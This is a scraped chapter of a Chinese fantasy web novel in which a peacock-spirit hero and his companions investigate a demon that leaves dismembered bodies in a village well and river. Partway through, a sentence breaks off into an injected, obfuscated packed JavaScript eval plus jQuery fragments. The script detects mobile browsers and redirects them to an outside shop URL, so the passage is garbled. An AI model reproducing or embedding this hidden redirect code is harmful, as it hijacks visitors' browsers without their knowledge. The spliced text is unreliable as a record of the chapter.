14. 妖鲧流离(二)

作品:《男主是只花孔雀

    荆时晗忙用衣袖遮挡了脸上的落寞,她这般喜欢哭哭啼啼,倒是容易招惹笑话了。


    殊不知,正是她这份细腻的感情最为打动人,也让花青螺对着她一再破例。


    “也没什么,就是跟这位娘子唠家常呢。”


    瞧着她情绪不高,他只笑笑也便没有多问,只是略显生硬地转移了话题。


    说起清商刚刚已经跟村里人沟通了,暂时先在这里住下,将那个庞然大物的妖怪弄清楚之后再离开。


    他隐隐觉得,他们想要寻找圣水的下落在这儿或许能有什么重大的突破。


    不过,他还留有几分警惕,世人皆多良善,但也不乏阴险狡诈之徒,若因其表面弱小就认作是好人,那他不为。


    将人轻轻地拽到了自己面前,又往她嘴里硬塞了一颗药丸,“吞下去,对你的伤有好处的。”


    随后又搂着她的脖子,在她耳边耳语了什么,看上去两人甚是亲密。


    母女三人跟在他们身后,也出来围着人群听着中间族老的话,不过只是站在旁边的一个小小的角落里,不敢靠得太近。


    村里面的祠堂后面有几间厢房,族中那些德高望重的长辈就站出来发话了,表明他们几个都是郑重邀请来的贵客,不得怠慢。


    饶是清商平日里油嘴滑舌的,在面对长辈面前也不敢太过放肆,当了应声虫,只一味地“好,好,好”。


    他们仨从山荔村一路往北,风餐露宿的,不是在破庙过夜,就是随便找个林子生了一堆火,娶个暖随意睡一觉,今天猛然间沾到了床,还以为会有些不适应,没想到倒是在祠堂里面睡了一个好觉,一夜无梦。


    *


    羽山脚下的人家不多,统共加起来也不过百十户,只有半个山荔村那么大。


    她洗漱完想出去转转,刚刚推开祠堂的后门,就瞧见了昨日里同她说话的那个小姑娘,好像是叫大妞,对,就是大妞,她拎着一个食盒站在门口。


    肩膀上还落了些露水,想来定然是在这儿站了许久吧。


    她赶紧将人迎进屋里,忙问她怎么来得这样早,也不敲门。


    大妞咬咬牙,没将娘亲的叮嘱如实告知,只说了句,“村里人见昨日姐姐与我们母女三人说话,就让娘亲来负责三位贵客的一日三餐,我来给三位送饭。”


    羽山的百姓也是淳朴的,粗一见这些吃食倒不觉得有什么。


    不过是一大碗的小米粥,一碟榨菜,一盘白面馒头还有一盘炒豆而已,可她将那两人叫来吃着,竟十分可口。


    单说那一盘炒豆,酥脆可口,倒是别有一番滋味。


    花青螺也在饭桌上交代一番,让清商继续去跟村民们交涉,顺带着问问这些年来被那庞然大物害死的人一共有多少,最好是能列个名单出来。


    他跟荆时晗两人,会沿着长河一路往羽山深处,去摸一摸他的老巢。


    睡醒之后,眼神清明,脑子也更活络了些,他终于想明白了一件事情。


    那妖怪将荆时晗从山上拖至山脚,不是想要害她的性命,倒更像是一种警告,警告她不要多管闲事,快些离开。


    也就是说,他多半是识得荆时晗的,就算不是这一世,那她的前世还有身上藏着的秘密,大概也是略知一二的。


    各人有各人的机缘和天命,花青螺也就并未在这个时候点破。


    三人还没有分开,各自去执行自己的任务,就听得一声由远及近的呼喊声。


    “救命啊,不好了,不好了。”


    比清商更快一步的是个头小的大妞,她忙不迭跑到了祠堂门口,拉住了欲往族中长辈传话的一个年纪相仿的男孩。


    略说了两句话,就将事情的前因后果问清楚了,来回报他们仨。


    却说是那妖昨日同这位公子交手,自觉败了阵,又不敌他,只能搞些偷偷摸摸的小动作。


    今日一早,在村中的唯一一口古井打水的小男孩,也就是方才从祠堂奔走而过的那位,他打第一桶水倒还没什么。


    等他要将第二桶水从古井中提上来时,自觉费力无比,也比他挑十桶水还要重,根本拉不上来。


    那绳索是拽了又拽,他抓不住,竟然脚下一滑摔在了井边,桶中的水也在井里溅起了巨大的水花,竟从里面飞溅出来了尸块,吓得他顿时瘫软,慌坐在地上,回神了好一阵子。


    井中突现尸块,三人也顾不得没吃完的早饭了,请大妞带路,就往这边而来。


    男孩腿软,虽一时慌了神,等他反应过来时当机立断,请来附近好些年轻力壮的成年男子帮着将古井中的尸块全都捞了出来,自己跑去向族中长辈报信。


    捞了半个多时辰,捞出来十二包尸块有眼熟自家亲人身上的体貌特征的,也坐在地上嚎啕大哭了起来。


    被那妖怪抓走的人原以为只是失踪,总还抱着一丝亲人还活着的希望,现如今全都破灭了。


    当下就闹着要寻死觅活,不让跳了长河,随家人一块儿去了,反正活着也是这般成日里提心吊胆的。


    这不闹还好,一闹又牵扯出了另外一宗事故来。


    村中一位德高望重的族老,只用他那双如鹰一般凌厉的眼神看了他们一眼,还没等训斥,就老实多了。


    旁边的一位男子,立马扑到地上,放声哭喊,“伍族老,您一定要为我妻儿报仇呀。”


    一面哭喊,求族老替他报仇,另一面则不断偷摸用眼神打量着他们仨,想看看他们究竟会有什么反应。


    也就是这个时候,荆时晗才知道,原来这羽山脚下附近的几个村子都姓伍,面前站着的这位能在村中说得上话,做得了主的长辈名叫伍泰。


    今年也五十有一了,山上的妖怪开始兴风作浪时他也不过刚刚三十而立。


    家中一妻三子均被杀害,只余下一个小孙儿,就是早上打水发现尸块的伍天,他失去爹娘那会儿不过还是一个襁褓中的婴孩。


    那男子放声痛哭不为别的,也是因今日清晨,卯时不到他去长河附近捡柴,未惊动妻儿,谁知道回来时就瞧见妻儿的尸身从长


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093391|195538||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    河中漂来,都碎成一截一截的。


    他打捞了一早上,才将妻儿的尸块拼凑好,就听说村中也出事儿了,竟也是同样的手段,不过那些尸块都是失踪已久的人。


    可他的妻儿分明昨日里还陪着他有说有笑,一块儿洗衣吃饭,怎么今天就抛下他独自一人奔赴黄泉了呢。


    伍族老出声安慰他,“大明啊,泰叔惭愧啊,救不了你的妻儿,当真是无能呐!”


    说着说着两人就抱头痛苦了起来,又感慨天命不好,这是老天爷要亡他伍氏一族啊。


    他们世代在羽山脚下生活,伍氏宗祠传到他手中已经是第六代了,五代往后,搬离羽山的人越来越多,村中也仅仅只剩下百十来人了,他都还没本事护好这百十来条人命,真是愧对祖先。


    他日若在黄泉路上见面,怎么有脸跟先祖交代。


    求助的目光看向了昨日来到村中的三位年轻人,他们进入羽山还能全身而退,昨日只是随意露了一手就将那妖怪吓跑了,一看就是有真本事的人。


    花青螺却不接茬,在一旁跟大妞打听着跪在地上嚎啕大哭的男人家在何处。


    荆时晗用手帕抹了抹眼泪,她也自幼没了爹娘,对他们的遭遇最是能感同身受,光听着这些遭遇就忍不住红了眼眶。


    从前只知道世间疾苦,以为她孤身一人就是天下第一悲惨,可跟着花青螺一路北上,风餐露宿才真的理解了什么是哀民生之多艰。


    她脚步刚刚挪动半步,就被一旁的花青螺拉了回来,听他跟大妞说话。


    紧接着,清商就自然而然地出面跟伍族老交涉起来,了解情况了。


    他们俩趁着村民都围上去之际偷偷溜了,按照那男子所述,他是卯时天不亮就出来捡柴了,等到古井发现尸块时他们正好在吃早饭,差不多两个时辰。


    两人沿着村中的小路而行,走到长河边。


    “按照大妞所说,沿着长河往南走百步,会看到一排竹子,往竹林右边拐个十来步就是那个什么大明的家了。”


    “是,我们不去长河,先去他们家看看吗?”


    “嗯。”


    虽不明白他的用意,但荆时晗还是跟着动身了。


    只是刚刚到长河河沿,就听见了不寻常的动静,遂停下了脚步。


    只听得区区五丈宽的长河竟然浪涌如山,波翻若岭,从大河之中哗啦地翻涌出多少尸块来,冲着二人砸来。


    花青螺当机立断,拉着荆时晗就往前跑去。


    虽然刚来羽山没两天,但他博闻强记,略识得回去的路,只是拉着她终究跑不快。


    遂施法,用翎羽捏了一个口诀将人送走,只能先传送到附近十里的地方。


    想到没想,就将人送到了大明的家中,他反手化作翎羽为攻,冲着翻涌而来的浪花使出了十成十的功力,浪花倒是消停了些许。


    可依旧不敢掉以轻心,使出了自己的乌金虎头戟,小心翼翼地靠近长河之中,新一波的尸块和朝着他袭来。


    果然有炸。